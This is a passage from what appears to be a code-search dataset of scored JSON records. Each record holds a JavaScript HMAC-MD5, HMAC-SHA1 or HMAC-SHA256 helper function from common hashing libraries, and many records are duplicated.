(bkey.length > 16) {\n\t bkey = binl_md5(bkey, key.length * 8)\n\t }\n\t for (i = 0; i < 16; i += 1) {\n\t ipad[i] = bkey[i] ^ 0x36363636\n\t opad[i] = bkey[i] ^ 0x5C5C5C5C\n\t }\n\t hash = binl_md5(ipad.concat(rstr2binl(data)), 512 + data.length * 8)\n\t return binl2rstr(binl_md5(opad.concat(hash), 512 + 128))\n\t }", "title": "" }, { "docid": "a79ff13c3cc86dae29951e1a150992b2", "score": "0.69455475", "text": "function rstr_hmac_md5 (key, data) {\n\t var i\n\t var bkey = rstr2binl(key)\n\t var ipad = []\n\t var opad = []\n\t var hash\n\t ipad[15] = opad[15] = undefined\n\t if (bkey.length > 16) {\n\t bkey = binl_md5(bkey, key.length * 8)\n\t }\n\t for (i = 0; i < 16; i += 1) {\n\t ipad[i] = bkey[i] ^ 0x36363636\n\t opad[i] = bkey[i] ^ 0x5C5C5C5C\n\t }\n\t hash = binl_md5(ipad.concat(rstr2binl(data)), 512 + data.length * 8)\n\t return binl2rstr(binl_md5(opad.concat(hash), 512 + 128))\n\t }", "title": "" }, { "docid": "b42eb12daa95f02a4fbd81303b5617c7", "score": "0.68999153", "text": "function str_hmac_md5(key, data)\n{\n var bkey = str2binl(key);\n if(bkey.length > 16) bkey = core_md5(bkey, key.length * chrsz);\n\n var ipad = Array(16), opad = Array(16);\n for(var i = 0; i < 16; i++) \n {\n ipad[i] = bkey[i] ^ 0x36363636;\n opad[i] = bkey[i] ^ 0x5C5C5C5C;\n }\n\n var hash = core_md5(ipad.concat(str2binl(data)), 512 + data.length * chrsz);\n return core_md5(opad.concat(hash), 512 + 128);\n}", "title": "" }, { "docid": "f8f39190536a63a59eace9472f5e8c1e", "score": "0.688213", "text": "function rstr_hmac_md5 (key, data) {\n var i\n var bkey = rstr2binl(key)\n var ipad = []\n var opad = []\n var hash\n ipad[15] = opad[15] = undefined\n if (bkey.length > 16) {\n bkey = binl_md5(bkey, key.length * 8)\n }\n for (i = 0; i < 16; i += 1) {\n ipad[i] = bkey[i] ^ 0x36363636\n opad[i] = bkey[i] ^ 0x5C5C5C5C\n }\n hash = binl_md5(ipad.concat(rstr2binl(data)), 512 + data.length * 8)\n return binl2rstr(binl_md5(opad.concat(hash), 512 + 128))\n }", "title": "" }, { "docid": "f8f39190536a63a59eace9472f5e8c1e", "score": "0.688213", "text": "function rstr_hmac_md5 (key, data) {\n var i\n var bkey = rstr2binl(key)\n var ipad = []\n var opad = []\n var hash\n ipad[15] = opad[15] = undefined\n if (bkey.length > 16) {\n bkey = binl_md5(bkey, key.length * 8)\n }\n for (i = 0; i < 16; i += 1) {\n ipad[i] = bkey[i] ^ 0x36363636\n opad[i] = bkey[i] ^ 0x5C5C5C5C\n }\n hash = binl_md5(ipad.concat(rstr2binl(data)), 512 + data.length * 8)\n return binl2rstr(binl_md5(opad.concat(hash), 512 + 128))\n }", "title": "" }, { "docid": "8b9ec5b2621f9b27c281a43b0369776d", "score": "0.68730634", "text": "static core_hmac_md5(key, data) {\r\n let bkey = this.str2binl(key);\r\n if (bkey.length > 16) bkey = this.core_md5(bkey, key.length * chrsz);\r\n\r\n let ipad = Array(16), opad = Array(16);\r\n for (let i = 0; i < 16; i++) {\r\n ipad[i] = bkey[i] ^ 0x36363636;\r\n opad[i] = bkey[i] ^ 0x5C5C5C5C;\r\n }\r\n\r\n let hash = this.core_md5(ipad.concat(this.str2binl(data)), 512 + data.length * chrsz);\r\n return this.core_md5(opad.concat(hash), 512 + 128);\r\n }", "title": "" }, { "docid": "661f0cb20d2f18c14bd32b6f127dc0f8", "score": "0.6841606", "text": "function rstr_hmac_md5(key, data) {\n var i, hash, bkey = rstr2binl(key), ipad = [], opad = [];\n for (ipad[15] = opad[15] = void 0, bkey.length > 16 && (bkey = binl_md5(bkey, 8 * key.length)), \n i = 0; 16 > i; i += 1) ipad[i] = 909522486 ^ bkey[i], opad[i] = 1549556828 ^ bkey[i];\n return hash = binl_md5(ipad.concat(rstr2binl(data)), 512 + 8 * data.length), binl2rstr(binl_md5(opad.concat(hash), 640));\n }", "title": "" }, { "docid": "e84ede5a93640b4d12e049e8d15c9327", "score": "0.68410957", "text": "function rstr_hmac_md5(key, data) {\n var i,\n bkey = rstr2binl(key),\n ipad = [],\n opad = [],\n hash;\n ipad[15] = opad[15] = undefined; \n if (bkey.length > 16) {\n bkey = binl_md5(bkey, key.length * 8);\n }\n for (i = 0; i < 16; i += 1) {\n ipad[i] = bkey[i] ^ 0x36363636;\n opad[i] = bkey[i] ^ 0x5C5C5C5C;\n }\n hash = binl_md5(ipad.concat(rstr2binl(data)), 512 + data.length * 8);\n return binl2rstr(binl_md5(opad.concat(hash), 512 + 128));\n }", "title": "" }, { "docid": "2d63a6bf9f636cdb4da5c60e915c376f", "score": "0.6829699", "text": "function rstr_hmac_md5(key, data)\n{\n var bkey = rstr2binl(key);\n if(bkey.length > 16) bkey = binl_md5(bkey, key.length * 8);\n \n var ipad = Array(16), opad = Array(16);\n for(var i = 0; i < 16; i++)\n {\n ipad[i] = bkey[i] ^ 0x36363636;\n opad[i] = bkey[i] ^ 0x5C5C5C5C;\n }\n \n var hash = binl_md5(ipad.concat(rstr2binl(data)), 512 + data.length * 8);\n return binl2rstr(binl_md5(opad.concat(hash), 512 + 128));\n}", "title": "" }, { "docid": "5263c5548a5de3c9727ed1705ab2b04d", "score": "0.6821883", "text": "function rstr_hmac_md5(key, data) {\r\n var i,\r\n bkey = rstr2binl(key),\r\n ipad = [],\r\n opad = [],\r\n hash;\r\n ipad[15] = opad[15] = undefined;\r\n if (bkey.length > 16) {\r\n bkey = binl_md5(bkey, key.length * 8);\r\n }\r\n for (i = 0; i < 16; i += 1) {\r\n ipad[i] = bkey[i] ^ 0x36363636;\r\n opad[i] = bkey[i] ^ 0x5C5C5C5C;\r\n }\r\n hash = binl_md5(ipad.concat(rstr2binl(data)), 512 + data.length * 8);\r\n return binl2rstr(binl_md5(opad.concat(hash), 512 + 128));\r\n }", "title": "" }, { "docid": "0cf5a5e17288bace04d14f5772f70922", "score": "0.68154293", "text": "function rstr_hmac_md5 (key, data) {\n let i;\n let bkey = rstr2binl(key);\n const ipad = [];\n const opad = [];\n let hash;\n ipad[15] = opad[15] = undefined\n if (bkey.length > 16) {\n bkey = binl_md5(bkey, key.length * 8)\n }\n for (i = 0; i < 16; i += 1) {\n ipad[i] = bkey[i] ^ 0x36363636\n opad[i] = bkey[i] ^ 0x5C5C5C5C\n }\n hash = binl_md5(ipad.concat(rstr2binl(data)), 512 + data.length * 8)\n return binl2rstr(binl_md5(opad.concat(hash), 512 + 128))\n}", "title": "" }, { "docid": "9a1b34a8167e626c04ac53f0c5a7724d", "score": "0.6815367", "text": "function rstr_hmac_md5(key, data) {\n var i,\n bkey = rstr2binl(key),\n ipad = [],\n opad = [],\n hash;\n ipad[15] = opad[15] = undefined;\n if (bkey.length > 16) {\n bkey = binl_md5(bkey, key.length * 8);\n }\n for (i = 0; i < 16; i += 1) {\n ipad[i] = bkey[i] ^ 0x36363636;\n opad[i] = bkey[i] ^ 0x5C5C5C5C;\n }\n hash = binl_md5(ipad.concat(rstr2binl(data)), 512 + data.length * 8);\n return binl2rstr(binl_md5(opad.concat(hash), 512 + 128));\n }", "title": "" }, { "docid": "9a1b34a8167e626c04ac53f0c5a7724d", "score": "0.6815367", "text": "function rstr_hmac_md5(key, data) {\n var i,\n bkey = rstr2binl(key),\n ipad = [],\n opad = [],\n hash;\n ipad[15] = opad[15] = undefined;\n if (bkey.length > 16) {\n bkey = binl_md5(bkey, key.length * 8);\n }\n for (i = 0; i < 16; i += 1) {\n ipad[i] = bkey[i] ^ 0x36363636;\n opad[i] = bkey[i] ^ 0x5C5C5C5C;\n }\n hash = binl_md5(ipad.concat(rstr2binl(data)), 512 + data.length * 8);\n return binl2rstr(binl_md5(opad.concat(hash), 512 + 128));\n }", "title": "" }, { "docid": "27647b712a7516d82db3db071bcf94db", "score": "0.6753178", "text": "function rstr_hmac_md5(key, data)\r\n{\r\n var bkey = rstr2binl(key);\r\n if(bkey.length > 16) bkey = binl_md5(bkey, key.length * 8);\r\n\r\n var ipad = Array(16), opad = Array(16);\r\n for(var i = 0; i < 16; i++)\r\n {\r\n ipad[i] = bkey[i] ^ 0x36363636;\r\n opad[i] = bkey[i] ^ 0x5C5C5C5C;\r\n }\r\n\r\n var hash = binl_md5(ipad.concat(rstr2binl(data)), 512 + data.length * 8);\r\n return binl2rstr(binl_md5(opad.concat(hash), 512 + 128));\r\n}", "title": "" }, { "docid": "e5e52dfa56baf8dc28a49fa037db2c5b", "score": "0.6735364", "text": "function rstr_hmac_md5(key, data)\n {\n var bkey = rstr2binl(key);\n if(bkey.length > 16) bkey = binl_md5(bkey, key.length * 8);\n\n var ipad = Array(16), opad = Array(16);\n for(var i = 0; i < 16; i++)\n {\n ipad[i] = bkey[i] ^ 0x36363636;\n opad[i] = bkey[i] ^ 0x5C5C5C5C;\n }\n\n var hash = binl_md5(ipad.concat(rstr2binl(data)), 512 + data.length * 8);\n return binl2rstr(binl_md5(opad.concat(hash), 512 + 128));\n }", "title": "" }, { "docid": "6b1b61f74a9b105d7d0b2ab6a2d9b34f", "score": "0.6729333", "text": "function rstr_hmac_md5(key, data)\n{\n var bkey = rstr2binl(key);\n if(bkey.length > 16) bkey = binl_md5(bkey, key.length * 8);\n\n var ipad = Array(16), opad = Array(16);\n for(var i = 0; i < 16; i++)\n {\n ipad[i] = bkey[i] ^ 0x36363636;\n opad[i] = bkey[i] ^ 0x5C5C5C5C;\n }\n\n var hash = binl_md5(ipad.concat(rstr2binl(data)), 512 + data.length * 8);\n return binl2rstr(binl_md5(opad.concat(hash), 512 + 128));\n}", "title": "" }, { "docid": "6b1b61f74a9b105d7d0b2ab6a2d9b34f", "score": "0.6729333", "text": "function rstr_hmac_md5(key, data)\n{\n var bkey = rstr2binl(key);\n if(bkey.length > 16) bkey = binl_md5(bkey, key.length * 8);\n\n var ipad = Array(16), opad = Array(16);\n for(var i = 0; i < 16; i++)\n {\n ipad[i] = bkey[i] ^ 0x36363636;\n opad[i] = bkey[i] ^ 0x5C5C5C5C;\n }\n\n var hash = binl_md5(ipad.concat(rstr2binl(data)), 512 + data.length * 8);\n return binl2rstr(binl_md5(opad.concat(hash), 512 + 128));\n}", "title": "" }, { "docid": "6b1b61f74a9b105d7d0b2ab6a2d9b34f", "score": "0.6729333", "text": "function rstr_hmac_md5(key, data)\n{\n var bkey = rstr2binl(key);\n if(bkey.length > 16) bkey = binl_md5(bkey, key.length * 8);\n\n var ipad = Array(16), opad = Array(16);\n for(var i = 0; i < 16; i++)\n {\n ipad[i] = bkey[i] ^ 0x36363636;\n opad[i] = bkey[i] ^ 0x5C5C5C5C;\n }\n\n var hash = binl_md5(ipad.concat(rstr2binl(data)), 512 + data.length * 8);\n return binl2rstr(binl_md5(opad.concat(hash), 512 + 128));\n}", "title": "" }, { "docid": "68b96f4318cb87194fb596ce350383c0", "score": "0.6727077", "text": "function rstr_hmac_md5(key, data) {\n var i,\n bkey = rstr2binl(key),\n ipad = [],\n opad = [],\n hash;\n ipad[15] = opad[15] = undefined;\n if (bkey.length > 16) {\n bkey = binl_md5(bkey, key.length * 8);\n }\n for (i = 0; i < 16; i += 1) {\n ipad[i] = bkey[i] ^ 0x36363636;\n opad[i] = bkey[i] ^ 0x5C5C5C5C;\n }\n hash = binl_md5(ipad.concat(rstr2binl(data)), 512 + data.length * 8);\n return binl2rstr(binl_md5(opad.concat(hash), 512 + 128));\n}", "title": "" }, { "docid": "1fee183cbf0aa62bca696253df35f871", "score": "0.66704935", "text": "function core_hmac_md5(key, data) {\r\n var bkey = str2binl(key);\r\n if (bkey.length > 16) bkey = core_md5(bkey, key.length * chrsz);\r\n\r\n var ipad = Array(16), opad = Array(16);\r\n for (var i = 0; i < 16; i++) {\r\n ipad[i] = bkey[i] ^ 0x36363636;\r\n opad[i] = bkey[i] ^ 0x5C5C5C5C;\r\n }\r\n\r\n var hash = core_md5(ipad.concat(str2binl(data)), 512 + data.length * chrsz);\r\n return core_md5(opad.concat(hash), 512 + 128);\r\n }", "title": "" }, { "docid": "0df2bb028dedf2ed3cd382bdc2919757", "score": "0.6663914", "text": "function core_hmac_md5(key, data) {\n var bkey = str2binl(key);\n if (bkey.length > 16) bkey = core_md5(bkey, key.length * chrsz);\n\n var ipad = Array(16),\n opad = Array(16);\n for (var i = 0; i < 16; i++) {\n ipad[i] = bkey[i] ^ 0x36363636;\n opad[i] = bkey[i] ^ 0x5C5C5C5C;\n }\n\n var hash = core_md5(ipad.concat(str2binl(data)), 512 + data.length * chrsz);\n return core_md5(opad.concat(hash), 512 + 128);\n }", "title": "" }, { "docid": "96fcd746091662b7bc75ef9f73c788ed", "score": "0.66257745", "text": "function core_hmac_md5(key, data)\r\n{\r\n var bkey = str2binl(key);\r\n if(bkey.length > 16) bkey = core_md5(bkey, key.length * chrsz);\r\n\r\n var ipad = Array(16), opad = Array(16);\r\n for(var i = 0; i < 16; i++)\r\n {\r\n ipad[i] = bkey[i] ^ 0x36363636;\r\n opad[i] = bkey[i] ^ 0x5C5C5C5C;\r\n }\r\n\r\n var hash = core_md5(ipad.concat(str2binl(data)), 512 + data.length * chrsz);\r\n return core_md5(opad.concat(hash), 512 + 128);\r\n}", "title": "" }, { "docid": "96fcd746091662b7bc75ef9f73c788ed", "score": "0.66257745", "text": "function core_hmac_md5(key, data)\r\n{\r\n var bkey = str2binl(key);\r\n if(bkey.length > 16) bkey = core_md5(bkey, key.length * chrsz);\r\n\r\n var ipad = Array(16), opad = Array(16);\r\n for(var i = 0; i < 16; i++)\r\n {\r\n ipad[i] = bkey[i] ^ 0x36363636;\r\n opad[i] = bkey[i] ^ 0x5C5C5C5C;\r\n }\r\n\r\n var hash = core_md5(ipad.concat(str2binl(data)), 512 + data.length * chrsz);\r\n return core_md5(opad.concat(hash), 512 + 128);\r\n}", "title": "" }, { "docid": "aa3706501232db14c94c8cc24207ef07", "score": "0.6610941", "text": "function core_hmac_md5(key, data)\n\t{\n\t var bkey = str2binl(key);\n\t if(bkey.length > 16) bkey = core_md5(bkey, key.length * chrsz);\n\t\n\t var ipad = Array(16), opad = Array(16);\n\t for(var i = 0; i < 16; i++)\n\t {\n\t\tipad[i] = bkey[i] ^ 0x36363636;\n\t\topad[i] = bkey[i] ^ 0x5C5C5C5C;\n\t }\n\t\n\t var hash = core_md5(ipad.concat(str2binl(data)), 512 + data.length * chrsz);\n\t return core_md5(opad.concat(hash), 512 + 128);\n\t}", "title": "" }, { "docid": "c13311cb4342983b2058a2703bdd7328", "score": "0.66010433", "text": "function core_hmac_md5(key, data) {\r\n var bkey = str2binl(key);\r\n if (bkey.length > 16) bkey = core_md5(bkey, key.length * chrsz);\r\n\r\n var ipad = Array(16), opad = Array(16);\r\n for (var i = 0; i < 16; i++) {\r\n ipad[i] = bkey[i] ^ 0x36363636;\r\n opad[i] = bkey[i] ^ 0x5C5C5C5C;\r\n }\r\n\r\n var hash = core_md5(ipad.concat(str2binl(data)), 512 + data.length * chrsz);\r\n return core_md5(opad.concat(hash), 512 + 128);\r\n}", "title": "" }, { "docid": "92116cae879a2f587842135527f7284d", "score": "0.6595944", "text": "function core_hmac_md5(key, data)\n\t{\n\t var bkey = str2binl(key);\n\t if(bkey.length > 16) bkey = core_md5(bkey, key.length * chrsz);\n\n\t var ipad = Array(16), opad = Array(16);\n\t for(var i = 0; i < 16; i++)\n\t {\n\t ipad[i] = bkey[i] ^ 0x36363636;\n\t opad[i] = bkey[i] ^ 0x5C5C5C5C;\n\t }\n\n\t var hash = core_md5(ipad.concat(str2binl(data)), 512 + data.length * chrsz);\n\t return core_md5(opad.concat(hash), 512 + 128);\n\t}", "title": "" }, { "docid": "e886549e0a0ea33e55c9eaab9b4c0919", "score": "0.6595654", "text": "function core_hmac_md5(key, data) {\n var bkey = str2binl(key);\n if (bkey.length > 16) bkey = core_md5(bkey, key.length * chrsz);\n\n var ipad = Array(16),\n opad = Array(16);\n for (var i = 0; i < 16; i++) {\n ipad[i] = bkey[i] ^ 0x36363636;\n opad[i] = bkey[i] ^ 0x5C5C5C5C;\n }\n\n var hash = core_md5(ipad.concat(str2binl(data)), 512 + data.length * chrsz);\n return core_md5(opad.concat(hash), 512 + 128);\n}", "title": "" }, { "docid": "efea9b2655e64ff4711ad9772c50f8e7", "score": "0.6592321", "text": "function core_hmac_md5(key, data)\n{\n var bkey = str2binl(key);\n if(bkey.length > 16) bkey = core_md5(bkey, key.length * chrsz);\n\n var ipad = Array(16), opad = Array(16);\n for(var i = 0; i < 16; i++)\n {\n ipad[i] = bkey[i] ^ 0x36363636;\n opad[i] = bkey[i] ^ 0x5C5C5C5C;\n }\n\n var hash = core_md5(ipad.concat(str2binl(data)), 512 + data.length * chrsz);\n return core_md5(opad.concat(hash), 512 + 128);\n}", "title": "" }, { "docid": "efea9b2655e64ff4711ad9772c50f8e7", "score": "0.6592321", "text": "function core_hmac_md5(key, data)\n{\n var bkey = str2binl(key);\n if(bkey.length > 16) bkey = core_md5(bkey, key.length * chrsz);\n\n var ipad = Array(16), opad = Array(16);\n for(var i = 0; i < 16; i++)\n {\n ipad[i] = bkey[i] ^ 0x36363636;\n opad[i] = bkey[i] ^ 0x5C5C5C5C;\n }\n\n var hash = core_md5(ipad.concat(str2binl(data)), 512 + data.length * chrsz);\n return core_md5(opad.concat(hash), 512 + 128);\n}", "title": "" }, { "docid": "efea9b2655e64ff4711ad9772c50f8e7", "score": "0.6592321", "text": "function core_hmac_md5(key, data)\n{\n var bkey = str2binl(key);\n if(bkey.length > 16) bkey = core_md5(bkey, key.length * chrsz);\n\n var ipad = Array(16), opad = Array(16);\n for(var i = 0; i < 16; i++)\n {\n ipad[i] = bkey[i] ^ 0x36363636;\n opad[i] = bkey[i] ^ 0x5C5C5C5C;\n }\n\n var hash = core_md5(ipad.concat(str2binl(data)), 512 + data.length * chrsz);\n return core_md5(opad.concat(hash), 512 + 128);\n}", "title": "" }, { "docid": "efea9b2655e64ff4711ad9772c50f8e7", "score": "0.6592321", "text": "function core_hmac_md5(key, data)\n{\n var bkey = str2binl(key);\n if(bkey.length > 16) bkey = core_md5(bkey, key.length * chrsz);\n\n var ipad = Array(16), opad = Array(16);\n for(var i = 0; i < 16; i++)\n {\n ipad[i] = bkey[i] ^ 0x36363636;\n opad[i] = bkey[i] ^ 0x5C5C5C5C;\n }\n\n var hash = core_md5(ipad.concat(str2binl(data)), 512 + data.length * chrsz);\n return core_md5(opad.concat(hash), 512 + 128);\n}", "title": "" }, { "docid": "efea9b2655e64ff4711ad9772c50f8e7", "score": "0.6592321", "text": "function core_hmac_md5(key, data)\n{\n var bkey = str2binl(key);\n if(bkey.length > 16) bkey = core_md5(bkey, key.length * chrsz);\n\n var ipad = Array(16), opad = Array(16);\n for(var i = 0; i < 16; i++)\n {\n ipad[i] = bkey[i] ^ 0x36363636;\n opad[i] = bkey[i] ^ 0x5C5C5C5C;\n }\n\n var hash = core_md5(ipad.concat(str2binl(data)), 512 + data.length * chrsz);\n return core_md5(opad.concat(hash), 512 + 128);\n}", "title": "" }, { "docid": "efea9b2655e64ff4711ad9772c50f8e7", "score": "0.6592321", "text": "function core_hmac_md5(key, data)\n{\n var bkey = str2binl(key);\n if(bkey.length > 16) bkey = core_md5(bkey, key.length * chrsz);\n\n var ipad = Array(16), opad = Array(16);\n for(var i = 0; i < 16; i++)\n {\n ipad[i] = bkey[i] ^ 0x36363636;\n opad[i] = bkey[i] ^ 0x5C5C5C5C;\n }\n\n var hash = core_md5(ipad.concat(str2binl(data)), 512 + data.length * chrsz);\n return core_md5(opad.concat(hash), 512 + 128);\n}", "title": "" }, { "docid": "efea9b2655e64ff4711ad9772c50f8e7", "score": "0.6592321", "text": "function core_hmac_md5(key, data)\n{\n var bkey = str2binl(key);\n if(bkey.length > 16) bkey = core_md5(bkey, key.length * chrsz);\n\n var ipad = Array(16), opad = Array(16);\n for(var i = 0; i < 16; i++)\n {\n ipad[i] = bkey[i] ^ 0x36363636;\n opad[i] = bkey[i] ^ 0x5C5C5C5C;\n }\n\n var hash = core_md5(ipad.concat(str2binl(data)), 512 + data.length * chrsz);\n return core_md5(opad.concat(hash), 512 + 128);\n}", "title": "" }, { "docid": "064a7b68a854eac8f538c5e2b7f77d8a", "score": "0.6566612", "text": "function core_hmac_md5(key, data)\n{\n var bkey = str2binl(key);\n if(bkey.length > 16) bkey = core_md5(bkey, key.length * chrsz);\n\n var ipad = Array(16), opad = Array(16);\n for(var i = 0; i < 16; i++)\n {\n ipad[i] = bkey[i] ^ 0x36363636;\n opad[i] = bkey[i] ^ 0x5C5C5C5C;\n }\n\n var hash = core_md5(ipad.concat(str2binl(data)), 512 + data.length * chrsz);\n return core_md5(opad.concat(hash), 512 + 128);\n}", "title": "" }, { "docid": "e91cb6736d7541adf7748a25634e505c", "score": "0.5896189", "text": "function rstr_hmac_sha1(key, data)\n {\n var bkey = crypto.rstr2binb(key);\n if (bkey.length > 16) bkey = binb_sha1(bkey, key.length * 8);\n\n var ipad = Array(16), opad = Array(16);\n for (var i = 0; i < 16; i++)\n {\n ipad[i] = bkey[i] ^ 0x36363636;\n opad[i] = bkey[i] ^ 0x5C5C5C5C;\n }\n\n var hash = binb_sha1(ipad.concat(crypto.rstr2binb(data)), 512 + data.length * 8);\n return crypto.binb2rstr(binb_sha1(opad.concat(hash), 512 + 160));\n }", "title": "" }, { "docid": "d46370852d7adb2bffb538fdb8d9543c", "score": "0.5867569", "text": "function rstr_hmac_sha1(key, data)\r\n{\r\n var bkey = rstr2binb(key);\r\n if(bkey.length > 16) bkey = binb_sha1(bkey, key.length * 8);\r\n\r\n var ipad = Array(16), opad = Array(16);\r\n for(var i = 0; i < 16; i++)\r\n {\r\n ipad[i] = bkey[i] ^ 0x36363636;\r\n opad[i] = bkey[i] ^ 0x5C5C5C5C;\r\n }\r\n\r\n var hash = binb_sha1(ipad.concat(rstr2binb(data)), 512 + data.length * 8);\r\n return binb2rstr(binb_sha1(opad.concat(hash), 512 + 160));\r\n}", "title": "" }, { "docid": "aaade6f138c818aab281baa9cfb4d32c", "score": "0.58463156", "text": "function rstr_hmac_sha1(key, data)\r\n {\r\n var bkey = rstr2binb(key);\r\n if(bkey.length > 16) {bkey = binb_sha1(bkey, key.length * 8); }\r\n\r\n var ipad = Array(16), opad = Array(16);\r\n for(var i = 0; i < 16; i++)\r\n {\r\n ipad[i] = bkey[i] ^ 0x36363636;\r\n opad[i] = bkey[i] ^ 0x5C5C5C5C;\r\n }\r\n\r\n var hash = binb_sha1(ipad.concat(rstr2binb(data)), 512 + data.length * 8);\r\n return binb2rstr(binb_sha1(opad.concat(hash), 512 + 160));\r\n }", "title": "" }, { "docid": "3f8651d1fcc96143a06a9f81cc3113f1", "score": "0.5839745", "text": "function rstr_hmac_sha1(key, data)\n{\n var bkey = rstr2binb(key);\n if(bkey.length > 16) bkey = binb_sha1(bkey, key.length * 8);\n\n var ipad = Array(16), opad = Array(16);\n for(var i = 0; i < 16; i++)\n {\n ipad[i] = bkey[i] ^ 0x36363636;\n opad[i] = bkey[i] ^ 0x5C5C5C5C;\n }\n\n var hash = binb_sha1(ipad.concat(rstr2binb(data)), 512 + data.length * 8);\n return binb2rstr(binb_sha1(opad.concat(hash), 512 + 160));\n}", "title": "" }, { "docid": "3f8651d1fcc96143a06a9f81cc3113f1", "score": "0.5839745", "text": "function rstr_hmac_sha1(key, data)\n{\n var bkey = rstr2binb(key);\n if(bkey.length > 16) bkey = binb_sha1(bkey, key.length * 8);\n\n var ipad = Array(16), opad = Array(16);\n for(var i = 0; i < 16; i++)\n {\n ipad[i] = bkey[i] ^ 0x36363636;\n opad[i] = bkey[i] ^ 0x5C5C5C5C;\n }\n\n var hash = binb_sha1(ipad.concat(rstr2binb(data)), 512 + data.length * 8);\n return binb2rstr(binb_sha1(opad.concat(hash), 512 + 160));\n}", "title": "" }, { "docid": "5fedbff771e816ddae7912127653f167", "score": "0.5803566", "text": "function hamcsha1(data, key) {\n\n var data = java.lang.String(data);\n var key = java.lang.String(key);\n\n data = data.getBytes();\n key = key.getBytes();\n\n signingKey = new SecretKeySpec(key, \"HmacSHA1\"); // SecretKeySpec\n mac = Mac.getInstance(\"HmacSHA1\"); // Mac\n mac.init(signingKey);\n return mac.doFinal(data);\n // return byte2hex(mac.doFinal(data));\n}", "title": "" }, { "docid": "7ae2b2c7c9d202c113b95c1ee91f9769", "score": "0.5786561", "text": "function rstr_hmac_sha256(key, data) {\n var bkey = enigma.encode.toBigEndians(key);\n if (bkey.length > 16) {\n bkey = binb_sha256(bkey, key.length * 8);\n }\n var ipad = Array(16),\n opad = Array(16);\n for (var i = 0; i < 16; i++) {\n ipad[i] = bkey[i] ^ 0x36363636;\n opad[i] = bkey[i] ^ 0x5C5C5C5C;\n }\n\n var hash = binb_sha256(ipad.concat(enigma.encode.toBigEndians(data)), 512 + data.length * 8);\n var hmachash = binb_sha256(opad.concat(hash), 512 + 256);\n return enigma.decode.bigEndianToString(hmachash);\n }", "title": "" }, { "docid": "346397d11699032651e4462dea257909", "score": "0.5762953", "text": "function rstr_hmac(key, data) {\n var bkey, ipad, opad, hash, i;\n\n key = (utf8) ? utf8Encode(key) : key;\n data = (utf8) ? utf8Encode(data) : data;\n bkey = rstr2binl(key);\n if (bkey.length > 16) { \n bkey = binl(bkey, key.length * 8); \n }\n\n ipad = Array(16), opad = Array(16); \n for (i = 0; i < 16; i+=1) {\n ipad[i] = bkey[i] ^ 0x36363636;\n opad[i] = bkey[i] ^ 0x5C5C5C5C;\n }\n hash = binl(ipad.concat(rstr2binl(data)), 512 + data.length * 8);\n return binl2rstr(binl(opad.concat(hash), 512 + 128));\n }", "title": "" }, { "docid": "07bccd42b637633ec4d0aac518d0ac10", "score": "0.57324713", "text": "static stringMD5(value,onlyAscii=false){const hexCharacters='0123456789abcdef'.split('');// region sub helper\n/**\n * This function is much faster, so if possible we use it. Some IEs\n * are the only ones I know of that need the idiotic second function,\n * generated by an if clause in the end.\n * @param first - First operand to add.\n * @param second - Second operant to add.\n * @returns The sum of both given operands.\n */let unsignedModule2PowerOf32Addition=function unsignedModule2PowerOf32Addition(first,second){return first+second&4294967295};// / region primary functions needed for the algorithm\n/*\n * Implements the basic operation for each round of the algorithm.\n */const cmn=function cmn(q,a,b,x,s,t){a=unsignedModule2PowerOf32Addition(unsignedModule2PowerOf32Addition(a,q),unsignedModule2PowerOf32Addition(x,t));return unsignedModule2PowerOf32Addition(a<<s|a>>>32-s,b)};/**\n * First algorithm part.\n * @param a - Operand.\n * @param b - Operand.\n * @param c - Operand.\n * @param d - Operand.\n * @param x - Operand.\n * @param s - Operand.\n * @param t - Operand.\n * @returns Result.\n */const ff=function ff(a,b,c,d,x,s,t){return cmn(b&c|~b&d,a,b,x,s,t)};/**\n * Second algorithm part.\n * @param a - Operand.\n * @param b - Operand.\n * @param c - Operand.\n * @param d - Operand.\n * @param x - Operand.\n * @param s - Operand.\n * @param t - Operand.\n * @returns Result.\n */const gg=function gg(a,b,c,d,x,s,t){return cmn(b&d|c&~d,a,b,x,s,t)};/**\n * Third algorithm part.\n * @param a - Operand.\n * @param b - Operand.\n * @param c - Operand.\n * @param d - Operand.\n * @param x - Operand.\n * @param s - Operand.\n * @param t - Operand.\n * @returns Result.\n */const hh=function hh(a,b,c,d,x,s,t){return cmn(b^c^d,a,b,x,s,t)};/**\n * Fourth algorithm part.\n * @param a - Operand.\n * @param b - Operand.\n * @param c - Operand.\n * @param d - Operand.\n * @param x - Operand.\n * @param s - Operand.\n * @param t - Operand.\n * @returns Result.\n */const ii=function ii(a,b,c,d,x,s,t){return cmn(c^(b|~d),a,b,x,s,t)};/**\n * Performs all 16 needed steps.\n * @param state - Current state.\n * @param blocks - Blocks to cycle through.\n * @returns Returns given state.\n */const cycle=function cycle(state,blocks){let a=state[0];let b=state[1];let c=state[2];let d=state[3];// region round 1\na=ff(a,b,c,d,blocks[0],7,-680876936);d=ff(d,a,b,c,blocks[1],12,-389564586);c=ff(c,d,a,b,blocks[2],17,606105819);b=ff(b,c,d,a,blocks[3],22,-1044525330);a=ff(a,b,c,d,blocks[4],7,-176418897);d=ff(d,a,b,c,blocks[5],12,1200080426);c=ff(c,d,a,b,blocks[6],17,-1473231341);b=ff(b,c,d,a,blocks[7],22,-45705983);a=ff(a,b,c,d,blocks[8],7,1770035416);d=ff(d,a,b,c,blocks[9],12,-1958414417);c=ff(c,d,a,b,blocks[10],17,-42063);b=ff(b,c,d,a,blocks[11],22,-1990404162);a=ff(a,b,c,d,blocks[12],7,1804603682);d=ff(d,a,b,c,blocks[13],12,-40341101);c=ff(c,d,a,b,blocks[14],17,-1502002290);b=ff(b,c,d,a,blocks[15],22,1236535329);// endregion\n// region round 2\na=gg(a,b,c,d,blocks[1],5,-165796510);d=gg(d,a,b,c,blocks[6],9,-1069501632);c=gg(c,d,a,b,blocks[11],14,643717713);b=gg(b,c,d,a,blocks[0],20,-373897302);a=gg(a,b,c,d,blocks[5],5,-701558691);d=gg(d,a,b,c,blocks[10],9,38016083);c=gg(c,d,a,b,blocks[15],14,-660478335);b=gg(b,c,d,a,blocks[4],20,-405537848);a=gg(a,b,c,d,blocks[9],5,568446438);d=gg(d,a,b,c,blocks[14],9,-1019803690);c=gg(c,d,a,b,blocks[3],14,-187363961);b=gg(b,c,d,a,blocks[8],20,1163531501);a=gg(a,b,c,d,blocks[13],5,-1444681467);d=gg(d,a,b,c,blocks[2],9,-51403784);c=gg(c,d,a,b,blocks[7],14,1735328473);b=gg(b,c,d,a,blocks[12],20,-1926607734);// endregion\n// region round 